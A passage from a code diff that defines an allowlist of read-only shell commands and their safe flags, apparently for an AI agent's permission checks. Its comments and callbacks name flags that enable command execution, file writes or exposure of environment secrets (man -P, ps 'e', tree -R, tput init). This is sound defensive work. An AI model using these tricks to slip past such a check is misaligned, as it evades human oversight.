+ '--stable': 'none',
272
+ '-s': 'none',
273
+ '--unique': 'none',
274
+ '-u': 'none',
275
+ '--version-sort': 'none',
276
+ '-V': 'none',
277
+ '--zero-terminated': 'none',
278
+ '-z': 'none',
279
+ // Key specifications
280
+ '--key': 'string',
281
+ '-k': 'string',
282
+ '--field-separator': 'string',
283
+ '-t': 'string',
284
+ // Checking
285
+ '--check': 'none',
286
+ '-c': 'none',
287
+ '--check-char-order': 'none',
288
+ '-C': 'none',
289
+ // Merging
290
+ '--merge': 'none',
291
+ '-m': 'none',
292
+ // Buffer size
293
+ '--buffer-size': 'string',
294
+ '-S': 'string',
295
+ // Parallel processing
296
+ '--parallel': 'number',
297
+ // Batch size
298
+ '--batch-size': 'number',
299
+ // Help and version
300
+ '--help': 'none',
301
+ '--version': 'none',
302
+ },
303
+ },
304
+ man: {
305
+ safeFlags: {
306
+ // Safe display options
307
+ '-a': 'none', // Display all manual pages
308
+ '--all': 'none', // Same as -a
309
+ '-d': 'none', // Debug mode
310
+ '-f': 'none', // Emulate whatis
311
+ '--whatis': 'none', // Same as -f
312
+ '-h': 'none', // Help
313
+ '-k': 'none', // Emulate apropos
314
+ '--apropos': 'none', // Same as -k
315
+ '-l': 'string', // Local file (safe for reading, Linux only)
316
+ '-w': 'none', // Display location instead of content
317
+
318
+ // Safe formatting options
319
+ '-S': 'string', // Restrict manual sections
320
+ '-s': 'string', // Same as -S for whatis/apropos mode
321
+ },
322
+ },
323
+ // help command - only allow bash builtin help flags to prevent attacks when
324
+ // help is aliased to man (e.g., in oh-my-zsh common-aliases plugin).
325
+ // man's -P flag allows arbitrary command execution via pager.
326
+ help: {
327
+ safeFlags: {
328
+ '-d': 'none', // Output short description for each topic
329
+ '-m': 'none', // Display usage in pseudo-manpage format
330
+ '-s': 'none', // Output only a short usage synopsis
331
+ },
332
+ },
333
+ netstat: {
334
+ safeFlags: {
335
+ // Safe display options
336
+ '-a': 'none', // Show all sockets
337
+ '-L': 'none', // Show listen queue sizes
338
+ '-l': 'none', // Print full IPv6 address
339
+ '-n': 'none', // Show network addresses as numbers
340
+
341
+ // Safe filtering options
342
+ '-f': 'string', // Address family (inet, inet6, unix, vsock)
343
+
344
+ // Safe interface options
345
+ '-g': 'none', // Show multicast group membership
346
+ '-i': 'none', // Show interface state
347
+ '-I': 'string', // Specific interface
348
+
349
+ // Safe statistics options
350
+ '-s': 'none', // Show per-protocol statistics
351
+
352
+ // Safe routing options
353
+ '-r': 'none', // Show routing tables
354
+
355
+ // Safe mbuf options
356
+ '-m': 'none', // Show memory management statistics
357
+
358
+ // Safe other options
359
+ '-v': 'none', // Increase verbosity
360
+ },
361
+ },
362
+ ps: {
363
+ safeFlags: {
364
+ // UNIX-style process selection (these are safe)
365
+ '-e': 'none', // Select all processes
366
+ '-A': 'none', // Select all processes (same as -e)
367
+ '-a': 'none', // Select all with tty except session leaders
368
+ '-d': 'none', // Select all except session leaders
369
+ '-N': 'none', // Negate selection
370
+ '--deselect': 'none',
371
+
372
+ // UNIX-style output format (safe, doesn't show env)
373
+ '-f': 'none', // Full format
374
+ '-F': 'none', // Extra full format
375
+ '-l': 'none', // Long format
376
+ '-j': 'none', // Jobs format
377
+ '-y': 'none', // Don't show flags
378
+
379
+ // Output modifiers (safe ones)
380
+ '-w': 'none', // Wide output
381
+ '-ww': 'none', // Unlimited width
382
+ '--width': 'number',
383
+ '-c': 'none', // Show scheduler info
384
+ '-H': 'none', // Show process hierarchy
385
+ '--forest': 'none',
386
+ '--headers': 'none',
387
+ '--no-headers': 'none',
388
+ '-n': 'string', // Set namelist file
389
+ '--sort': 'string',
390
+
391
+ // Thread display
392
+ '-L': 'none', // Show threads
393
+ '-T': 'none', // Show threads
394
+ '-m': 'none', // Show threads after processes
395
+
396
+ // Process selection by criteria
397
+ '-C': 'string', // By command name
398
+ '-G': 'string', // By real group ID
399
+ '-g': 'string', // By session or effective group
400
+ '-p': 'string', // By PID
401
+ '--pid': 'string',
402
+ '-q': 'string', // Quick mode by PID
403
+ '--quick-pid': 'string',
404
+ '-s': 'string', // By session ID
405
+ '--sid': 'string',
406
+ '-t': 'string', // By tty
407
+ '--tty': 'string',
408
+ '-U': 'string', // By real user ID
409
+ '-u': 'string', // By effective user ID
410
+ '--user': 'string',
411
+
412
+ // Help/version
413
+ '--help': 'none',
414
+ '--info': 'none',
415
+ '-V': 'none',
416
+ '--version': 'none',
417
+ },
418
+ // Block BSD-style 'e' modifier which shows environment variables
419
+ // BSD options are letter-only tokens without a leading dash
420
+ additionalCommandIsDangerousCallback: (
421
+ _rawCommand: string,
422
+ args: string[],
423
+ ) => {
424
+ // Check for BSD-style 'e' in letter-only tokens (not -e which is UNIX-style)
425
+ // A BSD-style option is a token of only letters (no leading dash) containing 'e'
426
+ return args.some(
427
+ a => !a.startsWith('-') && /^[a-zA-Z]*e[a-zA-Z]*$/.test(a),
428
+ )
429
+ },
430
+ },
431
+ base64: {
432
+ respectsDoubleDash: false, // macOS base64 does not respect POSIX --
433
+ safeFlags: {
434
+ // Safe decode options
435
+ '-d': 'none', // Decode
436
+ '-D': 'none', // Decode (macOS)
437
+ '--decode': 'none', // Decode
438
+
439
+ // Safe formatting options
440
+ '-b': 'number', // Break lines at num (macOS)
441
+ '--break': 'number', // Break lines at num (macOS)
442
+ '-w': 'number', // Wrap lines at COLS (Linux)
443
+ '--wrap': 'number', // Wrap lines at COLS (Linux)
444
+
445
+ // Safe input options (read from file, not write)
446
+ '-i': 'string', // Input file (safe for reading)
447
+ '--input': 'string', // Input file (safe for reading)
448
+
449
+ // Safe misc options
450
+ '--ignore-garbage': 'none', // Ignore non-alphabet chars when decoding (Linux)
451
+ '-h': 'none', // Help
452
+ '--help': 'none', // Help
453
+ '--version': 'none', // Version
454
+ },
455
+ },
456
+ grep: {
457
+ safeFlags: {
458
+ // Pattern flags
459
+ '-e': 'string', // Pattern
460
+ '--regexp': 'string',
461
+ '-f': 'string', // File with patterns
462
+ '--file': 'string',
463
+ '-F': 'none', // Fixed strings
464
+ '--fixed-strings': 'none',
465
+ '-G': 'none', // Basic regexp (default)
466
+ '--basic-regexp': 'none',
467
+ '-E': 'none', // Extended regexp
468
+ '--extended-regexp': 'none',
469
+ '-P': 'none', // Perl regexp
470
+ '--perl-regexp': 'none',
471
+
472
+ // Matching control
473
+ '-i': 'none', // Ignore case
474
+ '--ignore-case': 'none',
475
+ '--no-ignore-case': 'none',
476
+ '-v': 'none', // Invert match
477
+ '--invert-match': 'none',
478
+ '-w': 'none', // Word regexp
479
+ '--word-regexp': 'none',
480
+ '-x': 'none', // Line regexp
481
+ '--line-regexp': 'none',
482
+
483
+ // Output control
484
+ '-c': 'none', // Count
485
+ '--count': 'none',
486
+ '--color': 'string',
487
+ '--colour': 'string',
488
+ '-L': 'none', // Files without match
489
+ '--files-without-match': 'none',
490
+ '-l': 'none', // Files with matches
491
+ '--files-with-matches': 'none',
492
+ '-m': 'number', // Max count
493
+ '--max-count': 'number',
494
+ '-o': 'none', // Only matching
495
+ '--only-matching': 'none',
496
+ '-q': 'none', // Quiet
497
+ '--quiet': 'none',
498
+ '--silent': 'none',
499
+ '-s': 'none', // No messages
500
+ '--no-messages': 'none',
501
+
502
+ // Output line prefix
503
+ '-b': 'none', // Byte offset
504
+ '--byte-offset': 'none',
505
+ '-H': 'none', // With filename
506
+ '--with-filename': 'none',
507
+ '-h': 'none', // No filename
508
+ '--no-filename': 'none',
509
+ '--label': 'string',
510
+ '-n': 'none', // Line number
511
+ '--line-number': 'none',
512
+ '-T': 'none', // Initial tab
513
+ '--initial-tab': 'none',
514
+ '-u': 'none', // Unix byte offsets
515
+ '--unix-byte-offsets': 'none',
516
+ '-Z': 'none', // Null after filename
517
+ '--null': 'none',
518
+ '-z': 'none', // Null data
519
+ '--null-data': 'none',
520
+
521
+ // Context control
522
+ '-A': 'number', // After context
523
+ '--after-context': 'number',
524
+ '-B': 'number', // Before context
525
+ '--before-context': 'number',
526
+ '-C': 'number', // Context
527
+ '--context': 'number',
528
+ '--group-separator': 'string',
529
+ '--no-group-separator': 'none',
530
+
531
+ // File and directory selection
532
+ '-a': 'none', // Text (process binary as text)
533
+ '--text': 'none',
534
+ '--binary-files': 'string',
535
+ '-D': 'string', // Devices
536
+ '--devices': 'string',
537
+ '-d': 'string', // Directories
538
+ '--directories': 'string',
539
+ '--exclude': 'string',
540
+ '--exclude-from': 'string',
541
+ '--exclude-dir': 'string',
542
+ '--include': 'string',
543
+ '-r': 'none', // Recursive
544
+ '--recursive': 'none',
545
+ '-R': 'none', // Dereference-recursive
546
+ '--dereference-recursive': 'none',
547
+
548
+ // Other options
549
+ '--line-buffered': 'none',
550
+ '-U': 'none', // Binary
551
+ '--binary': 'none',
552
+
553
+ // Help and version
554
+ '--help': 'none',
555
+ '-V': 'none',
556
+ '--version': 'none',
557
+ },
558
+ },
559
+ ...RIPGREP_READ_ONLY_COMMANDS,
560
+ // Checksum commands - these only read files and compute/verify hashes
561
+ // All flags are safe as they only affect output format or verification behavior
562
+ sha256sum: {
563
+ safeFlags: {
564
+ // Mode flags
565
+ '-b': 'none', // Binary mode
566
+ '--binary': 'none',
567
+ '-t': 'none', // Text mode
568
+ '--text': 'none',
569
+
570
+ // Check/verify flags
571
+ '-c': 'none', // Verify checksums from file
572
+ '--check': 'none',
573
+ '--ignore-missing': 'none', // Ignore missing files during check
574
+ '--quiet': 'none', // Quiet mode during check
575
+ '--status': 'none', // Don't output, exit code shows success
576
+ '--strict': 'none', // Exit non-zero for improperly formatted lines
577
+ '-w': 'none', // Warn about improperly formatted lines
578
+ '--warn': 'none',
579
+
580
+ // Output format flags
581
+ '--tag': 'none', // BSD-style output
582
+ '-z': 'none', // End output lines with NUL
583
+ '--zero': 'none',
584
+
585
+ // Help and version
586
+ '--help': 'none',
587
+ '--version': 'none',
588
+ },
589
+ },
590
+ sha1sum: {
591
+ safeFlags: {
592
+ // Mode flags
593
+ '-b': 'none', // Binary mode
594
+ '--binary': 'none',
595
+ '-t': 'none', // Text mode
596
+ '--text': 'none',
597
+
598
+ // Check/verify flags
599
+ '-c': 'none', // Verify checksums from file
600
+ '--check': 'none',
601
+ '--ignore-missing': 'none', // Ignore missing files during check
602
+ '--quiet': 'none', // Quiet mode during check
603
+ '--status': 'none', // Don't output, exit code shows success
604
+ '--strict': 'none', // Exit non-zero for improperly formatted lines
605
+ '-w': 'none', // Warn about improperly formatted lines
606
+ '--warn': 'none',
607
+
608
+ // Output format flags
609
+ '--tag': 'none', // BSD-style output
610
+ '-z': 'none', // End output lines with NUL
611
+ '--zero': 'none',
612
+
613
+ // Help and version
614
+ '--help': 'none',
615
+ '--version': 'none',
616
+ },
617
+ },
618
+ md5sum: {
619
+ safeFlags: {
620
+ // Mode flags
621
+ '-b': 'none', // Binary mode
622
+ '--binary': 'none',
623
+ '-t': 'none', // Text mode
624
+ '--text': 'none',
625
+
626
+ // Check/verify flags
627
+ '-c': 'none', // Verify checksums from file
628
+ '--check': 'none',
629
+ '--ignore-missing': 'none', // Ignore missing files during check
630
+ '--quiet': 'none', // Quiet mode during check
631
+ '--status': 'none', // Don't output, exit code shows success
632
+ '--strict': 'none', // Exit non-zero for improperly formatted lines
633
+ '-w': 'none', // Warn about improperly formatted lines
634
+ '--warn': 'none',
635
+
636
+ // Output format flags
637
+ '--tag': 'none', // BSD-style output
638
+ '-z': 'none', // End output lines with NUL
639
+ '--zero': 'none',
640
+
641
+ // Help and version
642
+ '--help': 'none',
643
+ '--version': 'none',
644
+ },
645
+ },
646
+ // tree command - moved from READONLY_COMMAND_REGEXES to allow flags and path arguments
647
+ // -o/--output writes to a file, so it's excluded. All other flags are display/filter options.
648
+ tree: {
649
+ safeFlags: {
650
+ // Listing options
651
+ '-a': 'none', // All files
652
+ '-d': 'none', // Directories only
653
+ '-l': 'none', // Follow symlinks
654
+ '-f': 'none', // Full path prefix
655
+ '-x': 'none', // Stay on current filesystem
656
+ '-L': 'number', // Max depth
657
+ // SECURITY: -R REMOVED. tree -R combined with -H (HTML mode) and -L (depth)
658
+ // WRITES 00Tree.html files to every subdirectory at the depth boundary.
659
+ // From man tree (< 2.1.0): "-R — at each of them execute tree again
660
+ // adding `-o 00Tree.html` as a new option." The comment "Rerun at max
661
+ // depth" was misleading — the "rerun" includes a hardcoded -o file write.
662
+ // `tree -R -H . -L 2 /path` → writes /path/<subdir>/00Tree.html for each
663
+ // subdir at depth 2. FILE WRITE, zero permissions.
664
+ '-P': 'string', // Include pattern
665
+ '-I': 'string', // Exclude pattern
666
+ '--gitignore': 'none',
667
+ '--gitfile': 'string',
668
+ '--ignore-case': 'none',
669
+ '--matchdirs': 'none',
670
+ '--metafirst': 'none',
671
+ '--prune': 'none',
672
+ '--info': 'none',
673
+ '--infofile': 'string',
674
+ '--noreport': 'none',
675
+ '--charset': 'string',
676
+ '--filelimit': 'number',
677
+ // File display options
678
+ '-q': 'none', // Non-printable as ?
679
+ '-N': 'none', // Non-printable as-is
680
+ '-Q': 'none', // Quote filenames
681
+ '-p': 'none', // Protections
682
+ '-u': 'none', // Owner
683
+ '-g': 'none', // Group
684
+ '-s': 'none', // Size bytes
685
+ '-h': 'none', // Human-readable sizes
686
+ '--si': 'none',
687
+ '--du': 'none',
688
+ '-D': 'none', // Last modification time
689
+ '--timefmt': 'string',
690
+ '-F': 'none', // Append indicator
691
+ '--inodes': 'none',
692
+ '--device': 'none',
693
+ // Sorting options
694
+ '-v': 'none', // Version sort
695
+ '-t': 'none', // Sort by mtime
696
+ '-c': 'none', // Sort by ctime
697
+ '-U': 'none', // Unsorted
698
+ '-r': 'none', // Reverse sort
699
+ '--dirsfirst': 'none',
700
+ '--filesfirst': 'none',
701
+ '--sort': 'string',
702
+ // Graphics/output options
703
+ '-i': 'none', // No indentation lines
704
+ '-A': 'none', // ANSI line graphics
705
+ '-S': 'none', // CP437 line graphics
706
+ '-n': 'none', // No color
707
+ '-C': 'none', // Color
708
+ '-X': 'none', // XML output
709
+ '-J': 'none', // JSON output
710
+ '-H': 'string', // HTML output with base HREF
711
+ '--nolinks': 'none',
712
+ '--hintro': 'string',
713
+ '--houtro': 'string',
714
+ '-T': 'string', // HTML title
715
+ '--hyperlink': 'none',
716
+ '--scheme': 'string',
717
+ '--authority': 'string',
718
+ // Input options (read from file, not write)
719
+ '--fromfile': 'none',
720
+ '--fromtabfile': 'none',
721
+ '--fflinks': 'none',
722
+ // Help and version
723
+ '--help': 'none',
724
+ '--version': 'none',
725
+ },
726
+ },
727
+ // date command - moved from READONLY_COMMANDS because -s/--set can set system time
728
+ // Also -f/--file can be used to read dates from file and set time
729
+ // We only allow safe display options
730
+ date: {
731
+ safeFlags: {
732
+ // Display options (safe - don't modify system time)
733
+ '-d': 'string', // --date=STRING - display time described by STRING
734
+ '--date': 'string',
735
+ '-r': 'string', // --reference=FILE - display file's modification time
736
+ '--reference': 'string',
737
+ '-u': 'none', // --utc - use UTC
738
+ '--utc': 'none',
739
+ '--universal': 'none',
740
+ // Output format options
741
+ '-I': 'none', // --iso-8601 (can have optional argument, but none type handles bare flag)
742
+ '--iso-8601': 'string',
743
+ '-R': 'none', // --rfc-email
744
+ '--rfc-email': 'none',
745
+ '--rfc-3339': 'string',
746
+ // Debug/help
747
+ '--debug': 'none',
748
+ '--help': 'none',
749
+ '--version': 'none',
750
+ },
751
+ // Dangerous flags NOT included (blocked by omission):
752
+ // -s / --set - sets system time
753
+ // -f / --file - reads dates from file (can be used to set time in batch)
754
+ // CRITICAL: date positional args in format MMDDhhmm[[CC]YY][.ss] set system time
755
+ // Use callback to verify positional args start with + (format strings like +"%Y-%m-%d")
756
+ additionalCommandIsDangerousCallback: (
757
+ _rawCommand: string,
758
+ args: string[],
759
+ ) => {
760
+ // args are already parsed tokens after "date"
761
+ // Flags that require an argument
762
+ const flagsWithArgs = new Set([
763
+ '-d',
764
+ '--date',
765
+ '-r',
766
+ '--reference',
767
+ '--iso-8601',
768
+ '--rfc-3339',
769
+ ])
770
+ let i = 0
771
+ while (i < args.length) {
772
+ const token = args[i]!
773
+ // Skip flags and their arguments
774
+ if (token.startsWith('--') && token.includes('=')) {
775
+ // Long flag with =value, already consumed
776
+ i++
777
+ } else if (token.startsWith('-')) {
778
+ // Flag - check if it takes an argument
779
+ if (flagsWithArgs.has(token)) {
780
+ i += 2 // Skip flag and its argument
781
+ } else {
782
+ i++ // Just skip the flag
783
+ }
784
+ } else {
785
+ // Positional argument - must start with + for format strings
786
+ // Anything else (like MMDDhhmm) could set system time
787
+ if (!token.startsWith('+')) {
788
+ return true // Dangerous
789
+ }
790
+ i++
791
+ }
792
+ }
793
+ return false // Safe
794
+ },
795
+ },
796
+ // hostname command - moved from READONLY_COMMANDS because positional args set hostname
797
+ // Also -F/--file sets hostname from file, -b/--boot sets default hostname
798
+ // We only allow safe display options and BLOCK any positional arguments
799
+ hostname: {
800
+ safeFlags: {
801
+ // Display options only (safe)
802
+ '-f': 'none', // --fqdn - display FQDN
803
+ '--fqdn': 'none',
804
+ '--long': 'none',
805
+ '-s': 'none', // --short - display short name
806
+ '--short': 'none',
807
+ '-i': 'none', // --ip-address
808
+ '--ip-address': 'none',
809
+ '-I': 'none', // --all-ip-addresses
810
+ '--all-ip-addresses': 'none',
811
+ '-a': 'none', // --alias
812
+ '--alias': 'none',
813
+ '-d': 'none', // --domain
814
+ '--domain': 'none',
815
+ '-A': 'none', // --all-fqdns
816
+ '--all-fqdns': 'none',
817
+ '-v': 'none', // --verbose
818
+ '--verbose': 'none',
819
+ '-h': 'none', // --help
820
+ '--help': 'none',
821
+ '-V': 'none', // --version
822
+ '--version': 'none',
823
+ },
824
+ // CRITICAL: Block any positional arguments - they set the hostname
825
+ // Also block -F/--file, -b/--boot, -y/--yp/--nis (not in safeFlags = blocked)
826
+ // Use regex to ensure no positional args after flags
827
+ regex: /^hostname(?:\s+(?:-[a-zA-Z]|--[a-zA-Z-]+))*\s*$/,
828
+ },
829
+ // info command - moved from READONLY_COMMANDS because -o/--output writes to files
830
+ // Also --dribble writes keystrokes to file, --init-file loads custom config
831
+ // We only allow safe display/navigation options
832
+ info: {
833
+ safeFlags: {
834
+ // Navigation/display options (safe)
835
+ '-f': 'string', // --file - specify manual file to read
836
+ '--file': 'string',
837
+ '-d': 'string', // --directory - search path
838
+ '--directory': 'string',
839
+ '-n': 'string', // --node - specify node
840
+ '--node': 'string',
841
+ '-a': 'none', // --all
842
+ '--all': 'none',
843
+ '-k': 'string', // --apropos - search
844
+ '--apropos': 'string',
845
+ '-w': 'none', // --where - show location
846
+ '--where': 'none',
847
+ '--location': 'none',
848
+ '--show-options': 'none',
849
+ '--vi-keys': 'none',
850
+ '--subnodes': 'none',
851
+ '-h': 'none',
852
+ '--help': 'none',
853
+ '--usage': 'none',
854
+ '--version': 'none',
855
+ },
856
+ // Dangerous flags NOT included (blocked by omission):
857
+ // -o / --output - writes output to file
858
+ // --dribble - records keystrokes to file
859
+ // --init-file - loads custom config (potential code execution)
860
+ // --restore - replays keystrokes from file
861
+ },
862
+
863
+ lsof: {
864
+ safeFlags: {
865
+ '-?': 'none',
866
+ '-h': 'none',
867
+ '-v': 'none',
868
+ '-a': 'none',
869
+ '-b': 'none',
870
+ '-C': 'none',
871
+ '-l': 'none',
872
+ '-n': 'none',
873
+ '-N': 'none',
874
+ '-O': 'none',
875
+ '-P': 'none',
876
+ '-Q': 'none',
877
+ '-R': 'none',
878
+ '-t': 'none',
879
+ '-U': 'none',
880
+ '-V': 'none',
881
+ '-X': 'none',
882
+ '-H': 'none',
883
+ '-E': 'none',
884
+ '-F': 'none',
885
+ '-g': 'none',
886
+ '-i': 'none',
887
+ '-K': 'none',
888
+ '-L': 'none',
889
+ '-o': 'none',
890
+ '-r': 'none',
891
+ '-s': 'none',
892
+ '-S': 'none',
893
+ '-T': 'none',
894
+ '-x': 'none',
895
+ '-A': 'string',
896
+ '-c': 'string',
897
+ '-d': 'string',
898
+ '-e': 'string',
899
+ '-k': 'string',
900
+ '-p': 'string',
901
+ '-u': 'string',
902
+ // OMITTED (writes to disk): -D (device cache file build/update)
903
+ },
904
+ // Block +m (create mount supplement file) — writes to disk.
905
+ // +prefix flags are treated as positional args by validateFlags,
906
+ // so we must catch them here. lsof accepts +m<path> (attached path, no space)
907
+ // with both absolute (+m/tmp/evil) and relative (+mfoo, +m.evil) paths.
908
+ additionalCommandIsDangerousCallback: (_rawCommand, args) =>
909
+ args.some(a => a === '+m' || a.startsWith('+m')),
910
+ },
911
+
912
+ pgrep: {
913
+ safeFlags: {
914
+ '-d': 'string',
915
+ '--delimiter': 'string',
916
+ '-l': 'none',
917
+ '--list-name': 'none',
918
+ '-a': 'none',
919
+ '--list-full': 'none',
920
+ '-v': 'none',
921
+ '--inverse': 'none',
922
+ '-w': 'none',
923
+ '--lightweight': 'none',
924
+ '-c': 'none',
925
+ '--count': 'none',
926
+ '-f': 'none',
927
+ '--full': 'none',
928
+ '-g': 'string',
929
+ '--pgroup': 'string',
930
+ '-G': 'string',
931
+ '--group': 'string',
932
+ '-i': 'none',
933
+ '--ignore-case': 'none',
934
+ '-n': 'none',
935
+ '--newest': 'none',
936
+ '-o': 'none',
937
+ '--oldest': 'none',
938
+ '-O': 'string',
939
+ '--older': 'string',
940
+ '-P': 'string',
941
+ '--parent': 'string',
942
+ '-s': 'string',
943
+ '--session': 'string',
944
+ '-t': 'string',
945
+ '--terminal': 'string',
946
+ '-u': 'string',
947
+ '--euid': 'string',
948
+ '-U': 'string',
949
+ '--uid': 'string',
950
+ '-x': 'none',
951
+ '--exact': 'none',
952
+ '-F': 'string',
953
+ '--pidfile': 'string',
954
+ '-L': 'none',
955
+ '--logpidfile': 'none',
956
+ '-r': 'string',
957
+ '--runstates': 'string',
958
+ '--ns': 'string',
959
+ '--nslist': 'string',
960
+ '--help': 'none',
961
+ '-V': 'none',
962
+ '--version': 'none',
963
+ },
964
+ },
965
+
966
+ tput: {
967
+ safeFlags: {
968
+ '-T': 'string',
969
+ '-V': 'none',
970
+ '-x': 'none',
971
+ // SECURITY: -S (read capability names from stdin) deliberately EXCLUDED.
972
+ // It must NOT be in safeFlags because validateFlags unbundles combined
973
+ // short flags (e.g., -xS → -x + -S), but the callback receives the raw
974
+ // token '-xS' and only checks exact match 'token === "-S"'. Excluding -S
975
+ // from safeFlags ensures validateFlags rejects it (bundled or not) before
976
+ // the callback runs. The callback's -S check is defense-in-depth.
977
+ },
978
+ additionalCommandIsDangerousCallback: (
979
+ _rawCommand: string,
980
+ args: string[],
981
+ ) => {
982
+ // Capabilities that modify terminal state or could be harmful.
983
+ // init/reset run iprog (arbitrary code from terminfo) and modify tty settings.
984
+ // rs1/rs2/rs3/is1/is2/is3 are the individual reset/init sequences that
985
+ // init/reset invoke internally — rs1 sends ESC c (full terminal reset).
986
+ // clear erases scrollback (evidence destruction). mc5/mc5p activate media copy
987
+ // (redirect output to printer device). smcup/rmcup manipulate screen buffer.
988
+ // pfkey/pfloc/pfx/pfxl program function keys — pfloc executes strings locally.
989
+ // rf is reset file (analogous to if/init_file).
990
+ const DANGEROUS_CAPABILITIES = new Set([
991
+ 'init',
992
+ 'reset',
993
+ 'rs1',
994
+ 'rs2',
995
+ 'rs3',
996
+ 'is1',
997
+ 'is2',
998
+ 'is3',
999
+ 'iprog',
1000
+ 'if',
1001
+ 'rf',
1002
+ 'clear',
1003
+ 'flash',
1004
+ 'mc0',
1005
+ 'mc4',
1006
+ 'mc5',
1007
+ 'mc5i',
1008
+ 'mc5p',
1009
+ 'pfkey',
1010
+ 'pfloc',
1011
+ 'pfx',
1012
+ 'pfxl',
1013
+ 'smcup',
1014
+ 'rmcup',
1015
+ ])
1016
+ const flagsWithArgs = new Set(['-T'])
1017
+ let i = 0
1018
+ let afterDoubleDash = false
1019
+ while (i < args.length) {
1020
+ const token = args[i]!
1021
+ if (token === '--') {
1022
+ afterDoubleDash = true
1023
+ i++
1024
+ } else if (!afterDoubleDash && token.startsWith('-')) {
1025
+ // Defense-in-depth: block -S even if it somehow passes validateFlags
1026
+ if (token === '-S') return true
1027
+ // Also check for -S bundled with other flags (e.g., -xS)
1028
+ if (
1029
+ !token.startsWith('--') &&
1030
+ token.length > 2 &&
1031
+ token.includes('S')
1032
+ )
1033
+ return true
1034
+ if (flagsWithArgs.has(token)) {
1035
+ i += 2
1036
+ } else {
1037
+ i++
1038
+ }
1039
+ } else {
1040
+ if (DANGEROUS_CAPABILITIES.has(token)) return true
1041
+ i++
1042
+ }
1043
+ }
1044
+ return false
1045
+ },
1046
+ },
1047
+
1048
+ // ss — socket statistics (iproute2). Read-only query tool equivalent to netstat.
1049
+ // SECURITY: -K/--kill (forcibly close sockets) and -D/--diag (dump raw data to file)
1050
+ // are deliberately excluded. -F/--filter (read filter from file) also excluded.
1051
+ ss: {
1052
+ safeFlags: {
1053
+ '-h': 'none',
1054
+ '--help': 'none',
1055
+ '-V': 'none',
1056
+ '--version': 'none',
1057
+ '-n': 'none',
1058
+ '--numeric': 'none',
1059
+ '-r': 'none',
1060
+ '--resolve': 'none',
1061
+ '-a': 'none',
1062
+ '--all': 'none',
1063
+ '-l': 'none',
1064
+ '--listening': 'none',
1065
+ '-o': 'none',
1066
+ '--options': 'none',
1067
+ '-e': 'none',
1068
+ '--extended': 'none',
1069
+ '-m': 'none',
1070
+ '--memory': 'none',
1071
+ '-p': 'none',
1072
+ '--processes': 'none',
1073
+ '-i': 'none',
1074
+ '--info': 'none',
1075
+ '-s': 'none',
1076
+ '--summary': 'none',
1077
+ '-4': 'none',
1078
+ '--ipv4': 'none',
1079
+ '-6': 'none',
1080
+ '--ipv6': 'none',
1081
+ '-0': 'none',
1082
+ '--packet': 'none',
1083
+ '-t': 'none',
1084
+ '--tcp': 'none',
1085
+ '-M': 'none',
1086
+ '--mptcp': 'none',
1087
+ '-S': 'none',
1088
+ '--sctp': 'none',
1089
+ '-u': 'none',
1090
+ '--udp': 'none',
1091
+ '-d': 'none',
1092
+ '--dccp': 'none',
1093
+ '-w': 'none',
1094
+ '--raw': 'none',
1095
+ '-x': 'none',
1096
+ '--unix': 'none',
1097
+ '--tipc': 'none',
1098
+ '--vsock': 'none',
1099
+ '-f': 'string',
1100
+ '--family': 'string',
1101
+ '-A': 'string',
1102
+ '--query': 'string',
1103
+ '--socket': 'string',
1104
+ '-Z': 'none',
1105
+ '--context': 'none',
1106
+ '-z': 'none',
1107
+ '--contexts': 'none',
1108
+ // SECURITY: -N/--net EXCLUDED — performs setns(), unshare(), mount(), umount()
1109
+ // to switch network namespace. While isolated to forked process, too invasive.
1110
+ '-b': 'none',
1111
+ '--bpf': 'none',
1112
+ '-E': 'none',
1113
+ '--events': 'none',
1114
+ '-H': 'none',
1115
+ '--no-header': 'none',
1116
+ '-O': 'none',
1117
+ '--oneline': 'none',
1118
+ '--tipcinfo': 'none',
1119
+ '--tos': 'none',
1120
+ '--cgroup': 'none',
1121
+ '--inet-sockopt': 'none',
1122
+ // SECURITY: -K/--kill EXCLUDED — forcibly closes sockets
1123
+ // SECURITY: -D/--diag EXCLUDED — dumps raw TCP data to a file
1124
+ // SECURITY: -F/--filter EXCLUDED — reads filter expressions from a file
1125
+ },
1126
+ },
1127
+
1128
+ // fd/fdfind — fast file finder (fd-find). Read-only search tool.
1129
+ // SECURITY: -x/--exec (execute command per result) and -X/--exec-batch
1130
+ // (execute command with all results) are deliberately excluded.
1131
+ fd: { safeFlags: { ...FD_SAFE_FLAGS } },
1132
+ // fdfind is the Debian/Ubuntu package name for fd — same binary, same flags
1133
+ fdfind: { safeFlags: { ...FD_SAFE_FLAGS } },
1134
+
1135
+ ...PYRIGHT_READ_ONLY_COMMANDS,
1136
+ ...DOCKER_READ_ONLY_COMMANDS,
1137
+ }
1138
+
1139
+ // gh commands are ant-only since they make network requests, which goes against
1140
+ // the read-only validation principle of no network access
1141
+ const ANT_ONLY_COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
1142
+ // All gh read-only commands from shared validation map
1143
+ ...GH_READ_ONLY_COMMANDS,
1144
+ // aki — Anthropic internal knowledge-base search CLI.
1145
+ // Network read-only (same policy as gh). --audit-csv omitted: writes to disk.
1146
+ aki: {
1147
+ safeFlags: {
1148
+ '-h': 'none',
1149
+ '--help': 'none',
1150
+ '-k': 'none',
1151
+ '--keyword': 'none',
1152
+ '-s': 'none',
1153
+ '--semantic': 'none',
1154
+ '--no-adaptive': 'none',
1155
+ '-n': 'number',
1156
+ '--limit': 'number',
1157
+ '-o': 'number',
1158
+ '--offset': 'number',
1159
+ '--source': 'string',
1160
+ '--exclude-source': 'string',
1161
+ '-a': 'string',
1162
+ '--after': 'string',
1163
+ '-b': 'string',
1164
+ '--before': 'string',
1165
+ '--collection': 'string',
1166
+ '--drive': 'string',
1167
+ '--folder': 'string',
1168
+ '--descendants': 'none',
1169
+ '-m': 'string',
1170
+ '--meta': 'string',
1171
+ '-t': 'string',
1172
+ '--threshold': 'string',
1173
+ '--kw-weight': 'string',
1174
+ '--sem-weight': 'string',
1175
+ '-j': 'none',
1176
+ '--json': 'none',
1177
+ '-c': 'none',
1178
+ '--chunk': 'none',
1179
+ '--preview': 'none',
1180
+ '-d': 'none',
1181
+ '--full-doc': 'none',
1182
+ '-v': 'none',
1183
+ '--verbose': 'none',
1184
+ '--stats': 'none',
1185
+ '-S': 'number',
1186
+ '--summarize': 'number',
1187
+ '--explain': 'none',
1188
+ '--examine': 'string',
1189
+ '--url': 'string',
1190
+ '--multi-turn': 'number',
1191
+ '--multi-turn-model': 'string',
1192
+ '--multi-turn-context': 'string',
1193
+ '--no-rerank': 'none',
1194
+ '--audit': 'none',
1195
+ '--local': 'none',
1196
+ '--staging': 'none',
